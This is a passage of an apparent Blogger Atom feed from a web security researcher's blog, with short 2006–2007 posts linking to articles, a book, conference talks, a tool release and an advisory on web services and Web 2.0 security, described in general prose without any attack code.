src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-116800754825472903</id><published>2007-01-05T06:28:00.000-08:00</published><updated>2007-01-05T06:35:50.240-08:00</updated><title type='text'>Book review - Microsoft Technet</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.microsoft.com/technet/technetmag/issues/2007/01/Toolbox/default.aspx"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/x/blogger/6364/975/200/982178/ms_technet.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Technet posted book review on Hacking web services&lt;br /&gt;&lt;a href="http://www.microsoft.com/technet/technetmag/issues/2007/01/Toolbox/default.aspx"&gt;Here&lt;/a&gt;&lt;br /&gt;-- &lt;br /&gt;Shreeraj Shah's Hacking Web Services (Charles River Media, 2006) is a valuable resource for those involved in development, deployment, or support of Web services. The book is a well-organized general security reference for Web services and their component technologies. And it does a good job of detailing what is involved in defending them in your infrastructure and through your development practices.&lt;br /&gt;&lt;br /&gt;The book begins with a relatively in-depth introduction to Web services A case study titled "The Consequences of Procrastination" teaches you about the power of preemptive security procedures and the penalties of reactive systems. The chapter titled "Web Services Scanning and Enumeration" discusses how to use the wsChess, a .NET-based Web service security toolkit from Net-Square (net-square.com/wschess/index.shtml), to profile and footprint Web services.&lt;br /&gt;&lt;br /&gt;The book includes a utility CD, which contains a sample .NET-based application called SOAPWall. This shows you how to block injection characters and buffer overflows in your .NET Web services. In addition, the CD provides demos of different types of Web service attacks.&lt;br /&gt;--&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-116800754825472903?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116800754825472903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116800754825472903'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/01/book-review-microsoft-technet.html' title='Book review - Microsoft Technet'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-116659193254398130</id><published>2006-12-19T21:15:00.000-08:00</published><updated>2006-12-19T21:18:52.556-08:00</updated><title type='text'>XSRF attack vector with Ajax serialization</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://searchappsecurity.techtarget.com/tip/0,289483,sid92_gci1235537,00.html"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/x/blogger/6364/975/200/426169/searchappsecurity.png" border="0" alt="" /&gt;&lt;/a&gt;Cross-site request forgery (CSRF) is a commonly observed security issue in Web applications, and it can be exploited by an attacker or by a worm. Exploitation of this bug is very easy given there are several HTML tags and embedded JavaScript code snippets that can be leveraged by the browser to initiate a forged request without the consent or knowledge of an end user.&lt;br /&gt;&lt;br /&gt;This request hits the vulnerable Web application like a cruise missile charged with the end user's session identity and the attacker's objective is achieved. This objective may be a request for a change of password, performing a financial transaction or sending forged email. A vulnerable Web 2.0 application can be susceptible to such an attack. With Web 2.0, another dimension is being added to this attack vector -- the blissfully unaware end user. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://searchappsecurity.techtarget.com/tip/0,289483,sid92_gci1235537,00.html"&gt;Read&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-116659193254398130?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116659193254398130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116659193254398130'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/12/xsrf-attack-vector-with-ajax.html' title='XSRF attack vector with Ajax serialization'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-116468780415627419</id><published>2006-11-28T20:21:00.000-08:00</published><updated>2006-11-27T20:25:09.693-08:00</updated><title type='text'>Vulnerability Scanning Web 2.0 Client-Side Components</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.securityfocus.com/infocus/1881"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/200/sf.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Web 2.0 applications are a combination of several technologies such as Asynchronous JavaScript and XML (AJAX), Flash, JavaScript Object Notation (JSON), Simple Object Access Protocol (SOAP), Representational State Transfer (REST). All these technologies, along with cross-domain information access, contribute to the complexity of the application. We are seeing a shift towards empowerment of an end-user's browser by loading libraries.&lt;br /&gt;&lt;br /&gt;All these changes mean new scanning challenges for tools and professionals. The key learning objectives of this article are to understand the following concepts and techniques:&lt;br /&gt;&lt;br /&gt;    * Scanning complexity and challenges in new generation Web applications&lt;br /&gt;    * Web 2.0 client-side scanning objectives and methodology&lt;br /&gt;    * Web 2.0 vulnerability detection (XSS in RSS feeds)&lt;br /&gt;    * Cross-domain injection with JSON&lt;br /&gt;    * Countermeasures and defense through browser-side filtering&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.securityfocus.com/infocus/1881"&gt;Read&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-116468780415627419?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116468780415627419'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116468780415627419'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/11/vulnerability-scanning-web-20-client.html' title='Vulnerability Scanning Web 2.0 Client-Side Components'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-116464026824803540</id><published>2006-11-27T07:07:00.000-08:00</published><updated>2006-11-27T07:11:08.263-08:00</updated><title type='text'>Web 2.0 defense with Ajax fingerprinting &amp; filtering</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.insecuremagazine.com/INSECURE-Mag-9.pdf"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/x/blogger/6364/975/200/547746/issue9.jpg" border="0" alt="" /&gt;&lt;/a&gt; (IN)SECURE magazine contains my article on Ajax fingerprinting and filtering technique. It can help in defending Web 2.0 applications.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-116464026824803540?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116464026824803540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116464026824803540'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/11/web-20-defense-with-ajax.html' title='Web 2.0 defense with Ajax fingerprinting &amp; filtering'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-116318232771882020</id><published>2006-11-10T10:10:00.000-08:00</published><updated>2006-11-10T10:12:07.746-08:00</updated><title type='text'>Top 10 Ajax Security Holes and Driving Factors</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.net-security.org/article.php?id=956"&gt;&lt;img style="float:left; margin:0 6px 6px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/200/hns_logo.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;One of the central ingredients of Web 2.0 applications is Ajax encompassed by JavaScripts. This phase of evolution has transformed the Web into a superplatform. Not surprisingly, this transformation has also given rise to a new breed of worms and viruses such as Yamanner, Samy and Spaceflash. Portals like Google, NetFlix, Yahoo and MySpace have witnessed new vulnerabilities in the last few months. These vulnerabilities can be leveraged by attackers to perform Phishing, Cross-site Scripting (XSS) and Cross-Site Request Forgery (XSRF) exploitation.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.net-security.org/article.php?id=956"&gt;Read&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-116318232771882020?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116318232771882020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116318232771882020'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/11/top-10-ajax-security-holes-and-driving.html' title='Top 10 Ajax Security Holes and Driving Factors'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-116252876865609707</id><published>2006-11-02T20:36:00.000-08:00</published><updated>2006-11-02T20:39:28.666-08:00</updated><title type='text'>[O'reilly Net] Detecting Web Application Security Vulnerabilities</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.oreillynet.com/pub/a/sysadmin/2006/11/02/webapp_security_scans.html"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/200/111-web_ser.gif" border="0" alt="" /&gt;&lt;/a&gt;Your web application is only as secure as the data coming in, and how you treat user input determines how secure you are. A little bit of thought and Python programming can help you analyze potential vulnerabilities in your code&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.oreillynet.com/pub/a/sysadmin/2006/11/02/webapp_security_scans.html"&gt;Read Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-116252876865609707?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116252876865609707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116252876865609707'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/11/oreilly-net-detecting-web-application.html' title='[O&apos;reilly Net] Detecting Web Application Security Vulnerabilities'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-116166560057590048</id><published>2006-10-23T21:50:00.000-07:00</published><updated>2006-10-23T21:56:21.856-07:00</updated><title type='text'>How safe is Web 2.0?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://news.bbc.co.uk/1/hi/technology/6046960.stm"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/200/bbc_logo.0.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Technology commentator Bill Thompson says the latest incarnation of the web, dubbed Web 2.0, is prone to the same flaws as its predecessor&lt;br /&gt;&lt;br /&gt;[Top 10 Web 2.0 attack vectors are taken as reference]&lt;br /&gt;&lt;a href="http://news.bbc.co.uk/1/hi/technology/6046960.stm"&gt;Read story&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-116166560057590048?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116166560057590048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116166560057590048'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/10/how-safe-is-web-20.html' title='How safe is Web 2.0?'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-116062770495732323</id><published>2006-10-11T21:33:00.000-07:00</published><updated>2006-10-11T21:36:24.663-07:00</updated><title type='text'>Hacking Web 2.0 Applications with Firefox</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.securityfocus.com/infocus/1879"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/200/sf.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;AJAX and interactive web services form the backbone of “web 2.0” applications. This technological transformation brings about new challenges for security professionals.&lt;br /&gt;&lt;br /&gt;This article looks at some of the methods, tools and tricks to dissect web 2.0 applications (including Ajax) and discover security holes using Firefox and its plugins. The key learning objectives of this article are to understand the:&lt;br /&gt;&lt;br /&gt;* web 2.0 application architecture and its security concerns.&lt;br /&gt;* hacking challenges such as discovering hidden calls, crawling issues, and Ajax side logic discovery.&lt;br /&gt;* discovery of XHR calls with the Firebug tool.&lt;br /&gt;* simulation of browser event automation with the Chickenfoot plugin.&lt;br /&gt;* debugging of applications from a security standpoint, using the Firebug debugger.&lt;br /&gt;* methodical approach to vulnerability detection. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.securityfocus.com/infocus/1879"&gt;Read&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-116062770495732323?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116062770495732323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116062770495732323'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/10/hacking-web-20-applications-with.html' title='Hacking Web 2.0 Applications with Firefox'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-116046022549586101</id><published>2006-10-09T22:54:00.000-07:00</published><updated>2006-10-09T23:03:45.503-07:00</updated><title type='text'></title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://it.slashdot.org/it/06/10/09/1913244.shtml"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/200/topicsecurity.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On slashdot you can read reviews on HNS article - Top 10 Web 2.0 Attack Vectors&lt;br /&gt;&lt;br /&gt;&lt;a href="http://it.slashdot.org/it/06/10/09/1913244.shtml"&gt;Read&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-116046022549586101?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116046022549586101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116046022549586101'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/10/on-slashdot-you-can-read-reviews-on.html' title=''/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-116039939701997301</id><published>2006-10-09T06:06:00.000-07:00</published><updated>2006-10-09T06:11:23.143-07:00</updated><title type='text'>Top 10 Web 2.0 attack vectors</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.net-security.org/article.php?id=949"&gt;&lt;img style="float:left; margin:0 6px 6px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/200/hns_logo.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Web 2.0 is the novel term coined for new generation Web applications. start.com, Google maps, Writely and MySpace.com are a few examples. The shifting technological landscape is the driving force behind these Web 2.0 applications. On the one hand are Web services that are empowering server-side core technology components and on the other hand are AJAX and Rich Internet Application (RIA) clients that are enhancing client-end interfaces in the browser itself.&lt;br /&gt;&lt;br /&gt;XML is making a significant impact at both presentation and transport (HTTP/HTTPS) layers. To some extent XML is replacing HTML at the presentation layer while SOAP is becoming the XML-based transport mechanism of choice.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.net-security.org/article.php?id=949"&gt;More&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-116039939701997301?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116039939701997301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116039939701997301'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/10/top-10-web-20-attack-vectors.html' title='Top 10 Web 2.0 attack vectors'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-115529622609475695</id><published>2006-08-11T04:33:00.000-07:00</published><updated>2006-08-11T04:37:34.946-07:00</updated><title type='text'>Book - Hacking Web Services</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.amazon.com/gp/product/1584504803/"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/320/HWS_book.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Web Services are an integral part of next generation Web applications. The development and use of these services is growing at an incredible rate, and so too are the security issues surrounding them. Hacking Web Services is a practical guide for understanding Web services security and assessment methodologies. Written for intermediate-to-advanced security professionals and developers, the book provides an in-depth look at new concepts and tools used for Web services security. Beginning with a brief introduction to Web services technologies, the book discusses Web services assessment methodology, WSDL -- an XML format describing Web services as a set of endpoints operating on SOAP messages containing information -- and the need for secure coding. Various development issues and open source technologies used to secure and harden applications offering Web services are also covered. Throughout the book, detailed case studies, real-life demonstrations, and a variety of tips and techniques are used to teach developers how to write tools for Web services. If you are responsible for securing your company's Web services, this is a must read resource!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/gp/product/1584504803/"&gt;More information&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-115529622609475695?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/115529622609475695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/115529622609475695'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/08/book-hacking-web-services.html' title='Book - Hacking Web Services'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-114726464112013614</id><published>2006-05-10T05:33:00.000-07:00</published><updated>2006-05-10T05:38:22.963-07:00</updated><title type='text'>Security Bugs Undercut Mozilla</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.darkreading.com/document.asp?doc_id=93646"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/320/dr2006_secdrlogo.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;New flaws leave experts wondering if Mozilla's such a great alternative to Microsoft Internet Explorer and Exchange&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.darkreading.com/document.asp?doc_id=93646"&gt;Read the story&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-114726464112013614?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/114726464112013614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/114726464112013614'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/05/security-bugs-undercut-mozilla.html' title='Security Bugs Undercut Mozilla'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-114084848694247049</id><published>2006-02-24T22:19:00.000-08:00</published><updated>2006-02-24T22:23:26.386-08:00</updated><title type='text'>Auscert 2006 - Web Services Hacking...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/6364/975/1600/header-logo.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/200/header-logo.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AusCERT Asia Pacific&lt;br /&gt;Information Technology Security Conference&lt;br /&gt;21st - 26th May 2006 - Royal Pines Resort - Gold Coast, Australia&lt;br /&gt;&lt;a href="http://conference.auscert.org.au/conf2006/program_schedule.html"&gt;More info&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-114084848694247049?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/114084848694247049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/114084848694247049'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/02/auscert-2006-web-services-hacking.html' title='Auscert 2006 - Web Services Hacking...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-114084830060888640</id><published>2006-02-24T22:13:00.000-08:00</published><updated>2006-02-24T22:24:02.130-08:00</updated><title type='text'>Dallascon - Adavanced Web Services Hacking...</title><content type='html'>Presenting paper at Dallascon in first week of May.&lt;br /&gt;&lt;br /&gt;DallasCon Information &amp; Wireless Security conference&lt;br /&gt;May 5-6, 2006&lt;br /&gt;Richardson Hotel&lt;br /&gt;&lt;a href="http://www.dallascon.com/conference.html"&gt;Details&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-114084830060888640?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/114084830060888640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/114084830060888640'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/02/dallascon-adavanced-web-services.html' title='Dallascon - Adavanced Web Services Hacking...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-114076688895679504</id><published>2006-02-23T23:33:00.000-08:00</published><updated>2007-02-07T02:55:22.726-08:00</updated><title type='text'>EUSecWest talk...</title><content type='html'>It was fun to be at EUSecWest. Talks and presentations were good. Justin made good notes on it. You can read it over here.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.oreillynet.com/pub/wlg/9218?wlg=yes"&gt;Day 1&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.oreillynet.com/pub/wlg/9226?wlg=yes"&gt;Day 2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;object type="application/x-shockwave-flash" data="https://s3.amazonaws.com:443/slideshare/ssplayer.swf?id=22084&amp;doc=advanced-web-hacking-22740" width="425" height="348"&gt;&lt;param name="movie" value="https://s3.amazonaws.com:443/slideshare/ssplayer.swf?id=22084&amp;doc=advanced-web-hacking-22740" /&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-114076688895679504?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/114076688895679504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/114076688895679504'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/02/eusecwest-talk.html' title='EUSecWest talk...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-113851155199682634</id><published>2006-01-28T21:08:00.000-08:00</published><updated>2006-01-28T21:12:32.016-08:00</updated><title type='text'>Releasing wschess 1.5</title><content type='html'>Following changes are included.&lt;br /&gt;&lt;br /&gt;+ Few bugs are solved&lt;br /&gt;+ wspawn is now querying Xmethods. UBRs are closed for Microsoft, IBM etc.&lt;br /&gt;+ wsknight has analysis engine in place. You can supply regex patterns and wsaudit will detect them.  It will change color of text. Sample rule file is included.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://net-square.com/wschess"&gt;Get it&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-113851155199682634?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/113851155199682634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/113851155199682634'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/01/releasing-wschess-15.html' title='Releasing wschess 1.5'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-113829743300200376</id><published>2006-01-26T09:42:00.000-08:00</published><updated>2006-01-26T09:43:53.013-08:00</updated><title type='text'>Security Advisory - Microsoft ASP.NET Web Services</title><content type='html'>Unhandled exception leads to LDAP injection disclosure.&lt;br /&gt;&lt;a href="http://www.net-square.com/advisory/NS-012006-ASPNET-LDAP.pdf"&gt;Read Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-113829743300200376?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/113829743300200376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/113829743300200376'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2006/01/security-advisory-microsoft-aspnet-web.html' title='Security Advisory - Microsoft ASP.NET Web Services'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-113730093444034150</id><published>2006-01-14T20:52:00.000-08:00</published><updated>2006-01-14T21:11:25.530-08:00</updated><title type='text'>Advanced Web Hacking - Attacks &amp; Defense (Upcoming talk)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 